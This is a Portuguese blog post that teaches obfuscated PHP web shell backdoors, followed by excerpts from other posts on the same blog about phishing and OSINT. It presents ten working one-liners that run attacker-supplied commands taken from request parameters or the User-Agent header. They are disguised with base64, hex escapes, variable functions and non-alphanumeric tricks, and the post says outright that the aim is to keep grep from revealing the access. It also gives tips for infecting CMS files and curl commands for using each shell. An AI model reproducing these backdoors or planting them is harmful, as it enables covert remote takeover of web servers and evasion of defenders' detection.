Pular para o conteúdo principal

Hold the door! ... Hold the BackDoor PHP



Esse pequeno post é focado em uma das diferentes técnicas que venho estudando no PHP, mas direcionando no quesito de variação de código para backdoor web.

O cenário de uso dos exemplos abaixo é um pensamento fora da caixa, dando exit() no básico usado em muitos códigos backdoor.

Foquei nas variáveis globais GET ,POST ,REQUEST.

As functions mais usadas:

(PHP 4, PHP 5, PHP 7)
shell_exec — Executa um comando via shell e retorna a saída inteira como uma string
string shell_exec ( string $cmd )
EXEC-> php -r 'shell_exec("ls -la");'
(PHP 4, PHP 5, PHP 7)
system — Executa um programa externo e mostra a saída
string system ( string $command [, int &$return_var ] )
EXEC-> php -r 'system("ls -la");'
(PHP 4, PHP 5, PHP 7)
exec — Executa um programa externo
string exec ( string $command [, array &$output [, int &$return_var ]] )
EXEC-> php -r 'exec("ls -la",$var);print_r($var);'
(PHP 4, PHP 5, PHP 7)
passthru — Executa um programa externo e mostra a saída crua
void passthru ( string $command [, int &$return_var ] )
EXEC-> php -r 'passthru("ls -la",$var);'

Implementação simples:

shell_exec:
if(isset($_REQUEST['cmd'])) { $cmd=shell_exec($_REQUEST['cmd']);
 print_r($cmd);}
system:
if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); }
exec:
if(isset($_REQUEST['cmd'])) { exec($_REQUEST['cmd']); }
passthru:
if(isset($_REQUEST['cmd'])) { passthru($_REQUEST['cmd']); }

Podemos usar as mesmas functions, porem de forma elaborada evitando que um simples grep -E revele nosso acesso.

DICAS:

  • Uso de shellcode em valores fixos;
  • Array é vida! use sem moderação;
  • Concatenação de functions nativas & definição de variáveis.
  • base64_decode - encode(data)  ,  bin2hex , error_reporting(0)
  • Use requests (get or post) que já existam no sistema;
  • Estude a criação de propriedades maliciosas em class’s do sistema, crie suas functions; 
  • Manuseio de valores da variável global $_SERVER;
  • Estude métodos de infeção para arquivos CMS’s feitos em PHP;

Vamos para os exemplos

EXEMPLO 01
Functions:
  1. ERROR_REPORTING
  2. BASE64_DECODE
  3. DEFINE
  4. SYSTEM
  5. EXIT
Variáveis: c3lzdGVt=system ,dW5hbWUgLWE7bHM7=uname -a;ls; ,aWQ==id
 CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt")).$__(base64_decode("aWQ="))
.define("_","dW5hbWUgLWE7bHM7").$__(base64_decode(_)).exit);
Execução: curl -v 'http://localhost/shell.php'

EXEMPLO 02
Functions:
  1. ERROR_REPORTING
  2. BASE64_DECODE
  3. ISSET
  4. PRINT
  5. SYSTEM
  6. EXIT
Variáveis: c3lzdGVt=system
CODE:
(error_reporting(0).($__=@base64_decode("c3lzdGVt"))
.print($__(isset($_REQUEST[0])?$_REQUEST[0]:NULL)).exit);

Execução: curl -v 'http://localhost/shell.php?0=id'

EXEMPLO 03Functions:
  1. ERROR_REPORTING
  2. BASE64_DECODE
  3. CREATE_FUNCTION - Cria uma função anônima (lambda-style)
  4. SHELL_EXEC
  5. EXIT
Variáveis: ZWNobyhzaGVsbF9leGVjKCRfKSk7=echo(shell_exec($_));
CODE:
(error_reporting(0)).($_=$_REQUEST[0])
.($__=@create_function('$_',base64_decode("ZWNobyhzaGVsbF9leGVjKCRfKSk7"))).($__($_).exit);
Execução: curl -v 'http://localhost/shell.php?0=id'

EXEMPLO 04

Functions:
  1. ERROR_REPORTING
  2. VARIABLE FUNCTIONS
  3. EXIT
Variáveis: $_GET[1]=Nome da function, $_GET[2]=comando que será executado
CODE:
(error_reporting(0).($_=@$_GET[1]).($_($_GET[2])).exit);
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname' EXEMPLO 05 Functions:
  1. ERROR_REPORTING
  2. EXTRACT
  3. GET_DEFINED_VARS
  4. VARIABLE FUNCTIONS
  5. DEFINE
  6. EXIT
Variáveis: $_REQUEST[1]=Nome da function, $_REQUEST[2]=comando que será executado CODE:
(error_reporting(0)).(extract($_REQUEST, EXTR_PREFIX_ALL))
.($_=@get_defined_vars()['_REQUEST']).(define('_',$_[2])).(($_[1](_))).exit;
Execução: curl -v 'http://localhost/shell.php?1=system&2=id;uname'
EXEMPLO 06
Functions:
  1. ERROR_REPORTING
  2. EXPLODE
  3. BASE64_DECODE
  4. VARIABLE FUNCTIONS
  5. EXIT
Variáveis: SFRUUF9VU0VSX0FHRU5U=HTTP_USER_AGENT
CODE:
(error_reporting(0)).($_=@explode(',',$_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]))
.($_[0]("{$_[1]}")).exit;

Execução: curl -v 'http://localhost/shell.php' --user-agent 'system,id;ls -la'

EXEMPLO 07
Functions:
  1. ERROR_REPORTING
  2. GET_DEFINED_VARS
  3. VARIABLE FUNCTIONS
  4. VARIABLE SHELLCODE
  5. SYSTEM
  6. EXIT
Variáveis: \x30=0, \x73=s, \x79=y , \x73=s, \x74=t, \x65=e, \x6D=m
CODE:
(error_reporting(0)).($_[0][]=@$_GET["\x30"])
.($_[1][] = "\x73").($_[1][] = "\x79").($_[1][] = "\x73")
.($_[1][] = "\x74").($_[1][] = "\x65").($_[1][] = "\x6D")
.($__=@get_defined_vars()['_'][1]).($___.=$__[0])
.($___.=$__[1]).($___.=$__[2]).($___.=$__[3])
.($___.=$__[4]).($___.=$__[5]).(($___("{$_[0][0]}")).exit);

Execução: curl -v 'http://localhost/shell.php?0=id;uname%20-a'

EXEMPLO 08
Functions:
  1. ERROR_REPORTING
  2. STR_REPLACE
  3. VARIABLE FUNCTIONS
Variáveis: $_REQUEST[0]=Comando que será executado
CODE:
(error_reporting(0)).(str_replace(['$','@','#'],'','s$##y@#$@#$@#$@s$#$@#$@#$@$te$#@#$m')).($_("{$_REQUEST[0]}"));

Execução: curl -v 'http://localhost/shell.php?0=id

EXEMPLO 09
Functions:
  1. ERROR_REPORTING
  2. STR_REPLACE
  3. VARIABLE FUNCTIONS
  4. SYSTEM
Variáveis: $_POST['shellrox']=Comando que será executado
CODE:
(error_reporting(0)).($_=[("\x73\x79").("\x73")
.("\x74\x65\x6d"),"\x73\x68\x65\x6c","\x6c\x72\x6f\x78"])
.($_[0]($_POST[$_[1].$_[2]]));

Execução: curl -d "shellrox=id;uname -a" -X POST 'http://localhost/shell.php'

EXEMPLO 10 Functions:
  1. NON ALPHA NUMERIC
  2. VARIABLE FUNCTIONS
  3. SYSTEM
CODE:
 $_="";      # we need a blank string to start
$_[+$_]++;  # access part of the string to convert to an array
$_=$_."";   # convert the array into a string of "Array"
$_=$_[+""]; # access the 0 index of the string "Array" which is "A"

# INCREMENTANDO VALORES PARA ACHAR AS LETRAS
# NO CASO QUERO MONTAR A STRING SYSTEM

($_++); #A
($_++); #B
($_++); #C
($_++); #D


# PRIMEIRA LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO
($___[]=$_++);#E


($_++); #F
($_++); #G
($_++); #H
($_++); #I
($_++); #J
($_++); #K
($_++); #L


# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO

($___[]=$_++);#M

($_++); #N
($_++); #O
($_++); #P
($_++); #Q
($_++); #R


# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO

($___[]=$_++);#S

# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO

($___[]=$_++);#T

($_++); #U
($_++); #V
($_++); #W
($_++); #X


# LETRA ENCONTRADA É JOGADA EM UM ARRAY SECUNDÁRIO

($___[]=$_++);#Y

($_++);#Z

# DEBUG DO ARRAY:
/* Array
(
    [0] => E
    [1] => M
    [2] => S
    [3] => T
    [4] => Y
)
*/

# MONTAR STRING COM OS CAMPOS DO ARRAY $___  
$_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1];

# USANDO TÉCNICA DE FUNCTION ANONIMA PARA EXECUÇÃO
$_____('id;uname -a');

VERSÃO MINIMALISTA:

($_="").($_[+$_]++).($_=$_."").($_=$_[+""]).($_++)
.($_++).($_++).($_++).($___[]=$_++).($_++).($_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($_++).($_++).($_++).($_++).($_++).($___[]=$_++)
.($___[]=$_++).($_++).($_++).($_++).($_++)
.($___[]=$_++).($_++)
.($_____=$___[2].$___[4].$___[2].$___[3].$___[0].$___[1])
.($_____('id;uname -a'));
Execução: curl -v 'http://localhost/shell.php'

Observação: Existem outras milhares de técnicas, e tentarei fazer outros posts sobre.

Referências

  1. http://php.net/manual/en/language.operators.execution.php#language.operators.execution
  2. https://thehackerblog.com/a-look-into-creating-a-truley-invisible-php-shell
  3. http://www.businessinfo.co.uk/labs/talk/Nonalpha.pdf
  4. http://php.net/manual/pt_BR/function.create-function.php
  5. https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
  6. http://web.archive.org/web/20120427221212/http://h.ackack.net/tiny-php-shell.html
  7. http://php.net/manual/pt_BR/function.extract.php
  8. http://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
  9. https://www.akamai.com/cn/zh/multimedia/documents/report/akamai-security-advisory-web-shells-backdoor-trojans-and-rats.pdf
  10. https://aw-snap.info/articles/backdoor-examples.php
  11. http://php.net/manual/pt_BR/reserved.variables.server.php
  12. http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/
  13. https://blog.sucuri.net/2013/09/ask-sucuri-non-alphanumeric-backdoors.html
  14. http://php.net/manual/en/functions.variable-functions.php
  15. http://php.net/manual/pt_BR/function.exec.php
  16. http://php.net/manual/pt_BR/function.shell-exec.php
  17. http://php.net/manual/pt_BR/function.system.php
  18. http://php.net/manual/pt_BR/function.passthru.php
  19. http://php.net/manual/pt_BR/function.get-defined-vars.php
  20. http://php.net/manual/pt_BR/function.extract.php


Comentários

Postagens mais visitadas deste blog

Phishing através de técnicas BLACK HAT SEO

 O Novo Arsenal Phisher Técnicas de phishing sofrem mutação a cada momento, seja por conta de um novo exploit ou pelo fato de determinada técnica não funcionar, mas uma coisa é certa o phishing sempre está em evolução. Em 2016 foi o ano que fiz minha pesquisa sobre a utilização de motores de busca no cenário de phishing onde com base em artigos, testes e um pouco de malicia consegui realizar tal conceito. Minha pesquisa consiste em mostrar algumas tricks que atacantes usam para gerar trafego legitimo em suas paginas maliciosas e ludibriar seu target ao download. O método: Tal forma simples ainda garante muitos acessos quando se trata de forjar palavras chaves e concatenar o maior numero de técnicas Black Hat SEO em um arquivo / url, efetuado o upload do maior numero de arquivos PDF's "legítimos" com palavras chaves direcionados para um grupo de interesse. Para entender o uso do PDF: Em 2008, o Google anunciou em seu blog oficial que, a par...

Information Gathering: Plugin Mailchimp for WordPress

É possível coletar informações (E-mails) do log gerado pelo plugin Mailchimp for WordPress no CMS Wodpress . Isso não se trata de uma falha do plugin de fato, mas sim falta de configuração das pastas, porem pode ser categorizado como vazamento de informação. Issue no GIT falando sobre: Logo depois do report foi modificado: Add migration to rename log file & insert PHP exit header. #28 1 https://github.com/ibericode/mailchimp-for-wordpress/commit/df7c4929b928406583e2c2c03e2156d2257121b5 Add migration to rename log file & insert PHP exit header. #281 https://github.com/ibericode/mailchimp-for-wordpress/commit/12bd049d684ad51dd72a5d7d9bf1b505ca98765c O que é o plugin: Mailchimp for WordPress Allowing your visitors to subscribe to your newsletter should be easy. With this plugin, it finally is. This plugin helps you grow your Mailchimp lists and write better newsletters through various methods. You can create good looking opt-in forms or integrate with any existing...

Nova versão do Scanner INURLBR!

Salve! salve! depois de anos dei um tapa no code do scanner INURLBR. E galera o code não foi kibado da  INURL BRASIL , pois eu sou o dono (  ESSE É O TAL OWNER? ). " Viajei voltei pra você, voltei pelos locos  voltei pelos pretos, e pelas verde consequentemente..  Mééu Deus é quente É desse jeito.. "  - Racionais Mc's Para quem acompanha o projeto INURLBR que foi criado em meados de 2014 em sua versão public, mas o code priv8 é datado de 2011..2012, sabe que a INURL BRASIL tinha como ideia principal fomentar a cena   coder(tool)  nas terras tupiniquim.  Commit:   https://github.com/googleinurl/SCANNER-INURLBR/commit/0fde4bbe0175e2deb04531528ccf66eed96e408a Afinal, o que mudou no script? Inicialmente foi migrado o repo de  https://github.com/googleinurl/SCANNER-INURLBR/  para meu novo perfil  https://github.com/MrCl0wnLab/SCANNER-INURLBR  onde tentarei dar uma melhor organizada no projeto. Commit:   https://github.c...

OSINT: Buscando Chaves API de Google Maps usando Google Hacking

  Voltando para meus exercícios de OSINT . apareceu uma pequena demanda por chaves API de Google Maps, mas por qual motivo?   Precisei de uma chave API Google Maps, pois aspirava colocar vários  embed's de Maps em um único HTML sem necessidade de abrir o Maps para gerar tal URL Iframe . Lembrando que todo esse processo de gerar mapas pode ser  feito criando uma chave de API normal em sua conta da Google. Mostrarei a diferença de processo para gerar um Iframe sem chave API. O primeiro passo para obter um código EMBED (HTML) para incorporar o seu mapa personalizado é acessar o link: https://www.google.com.br/maps ; Logo após, digite o seu endereço de forma completa na barra ‘Pesquise no Google Maps’ e posteriormente clique na lupa; O Google irá exibir uma imagem do ‘Street view’ e a localização exata no mapa ao lado, no qual você terá que clicar no botão ‘Compartilhar ou incorporar mapa’, fica em opções do lado esquerdo....

Information Gathering: Coleta de email em Posts do Linkedin

As redes sociais são um buraco sem fim quando se trata de usuários expondo dados pessoais. isso qualquer analista de segurança sabe, e tal característica  pode ser usado como uma fonte rica para ataques direcionados. Criou-se um comportamento padrão em post's LinkedIn onde o "influenciador" posta um X conteúdo e para você reles mortal ter acesso, tem que fazer um comentar com seu e-mail para o tal "coach" enviar o resto do conteúdo ou uma planilha mágica. TÉCNICA Basicamente encontramos uma padrão de URL nos posts do LinkedIn e com tal informação é possível criar dorks de busca e extrair os emails. EXEMPLO DE URLS https:// www.linkedin.com/pulse/ planilha-de-controle-ordem-produção-marcos-rieper/ https:// www.linkedin.com/pulse/ planilha-para-avaliação-de-desempenho-e-competências-plano-garcia/ https:// www.linkedin.com/pulse/ planilha-teste-para-estagiárioxlsdownload-gratuito-arthur/ Identificando o padrão de string www.linkedin.com/pulse/ é possível...

OSINT: Precisa Medicamentos

Continuando os estudos de OSINT ( Open-source intelligence ) decide fazer uma breve coleta de informações da empresa citada na CPI do Covid chamada Precisa Medicamentos.  Lembrando que os dados coletados são públicos e não foi necessário invasão de dispositivo eletrônico para tal Blog Post.   Por onde começar? Para start da coleta vamos usar somente a string: Precisa Medicamentos Observe que a string "Precisa Medicamentos" usa aspas duplas, pois assim o motor de busca identifica como um conjunto de caracteres. INFORMAÇÃO COLETADA / DOMÍNIO  ( ID-00001 ) : precisamedicamentos[.]com.br FONTE https://search.brave.com/search?q=%22Precisa+Medicamentos%22 COLETANDO INFORMAÇÃO Vamos para o básico do básico o famoso whois, mas usando uma " trick " via registro.br e sua API que retorna em formato JSON. WHOIS { "objectClassName": "domain", "handle": "precisamedicamentos.com.br", "ldhName": "precisamedicamentos...

Body Web Sextortion (webcam blackmail) / Anti-Grep

Sextortion is back!!  Sextorsão ( do termo em inglês  sextorsion ) é o termo que designa a prática de extorsão a partir da ameaça de exposição de supostas fotos ou vídeos sexuais das vítimas na Internet. Os criminosos intimam divulgar o material a amigos e parentes caso a pessoa não cumpra o favor pedido dentro de um curto período de tempo. Algumas vezes, os golpistas não têm qualquer conteúdo comprometedor da vítima em mãos, mas utilizam mecanismos bastante convincentes para que ela realmente acredite no golpe. TÉCNICA USADA A vitima recebe um email com seguinte padrão exemplo: "Estou bem ciente de que XXXXXXXXX é a sua senha". Com a diferença, é claro, que no lugar dos X está a sua combinação verdadeira de alguma senha vazada do usuário. E complemento informando ter um vídeo íntimo seu e que você tem 24 horas para salvar a sua pele. Sextortion tem seu sucesso por usar dados vazados de vitimas assim adquirindo um contexto maior de veracidade da ameaça contida no em...

Fraude Segura

Por tempos ouvimos de "especialistas" em segurança a famosa frase: sempre antes de fornecer seus dados verifique se o site tem https e o cadeadinho verde. Mas estamos em 2019 e essa informação já não basta para falar se site X ou Y é seguro, quanto mais sites com "cadeadinho verde" mais phishings com certificado SSL no processo. E chamo isso de fraude segura. O ícone de cadeado carregou muito mais peso anos atrás, e para obter um certificado SSL / TLS foi um processo mais difícil, mas esses certificados agora são gratuitos e podem ser adquiridos por qualquer pessoa. Os invasores estão cada vez mais se certificando de que seus sites de phishing tenham certificados autênticos para imitar sites legítimos. Stu Sjouwerman (CEO knowbe4 ) Devemos modificar nossa visão de como olhar um possível site malicioso, o fato de ter um https ou famoso selo (site blindado) não diz nada. surfando nos https Hoje o https virou uma grande aliada para fraudadores no qu...

OSINT: Grupo Telegram MOVIMENTO ANTI-NOVO NORMAL

Se não bastasse um vírus que já fez milhões de vítimas, ainda é preciso enfrentar uma onda forte de negacionismo da ciência. Adeptos da desinformação tentam boicotar a vacinação e contrariam o isolamento social e o uso de máscara, fortemente recomendados pela comunidade médica. Um exemplo recente é a fala do deputado federal Eduardo Bolsonaro (PSL-SP) sobre “enfiar a máscara no rabo” (palavras dele) em um vídeo divulgado nas redes sociais. Lembrando que os dados coletados são públicos e não foi necessário invasão de dispositivo eletrônico para tal Blog Post. Nenhum animal (Gado ou Jacaré ) foi ferido durante a criação de tal blog post DIAS DE TREVAS Sob influência de Bolsonaro, cresce número de pessoas contrárias à obrigatoriedade das vacinas e que questionam sua eficácia ( Crédito: Eduardo Mtysiak ) O negacionismo é o ato de negar-se a acreditar em uma informação estabelecida em áreas como a ciência e a história. Os negacionistas são vistos como irracionais, pois não acreditam em cons...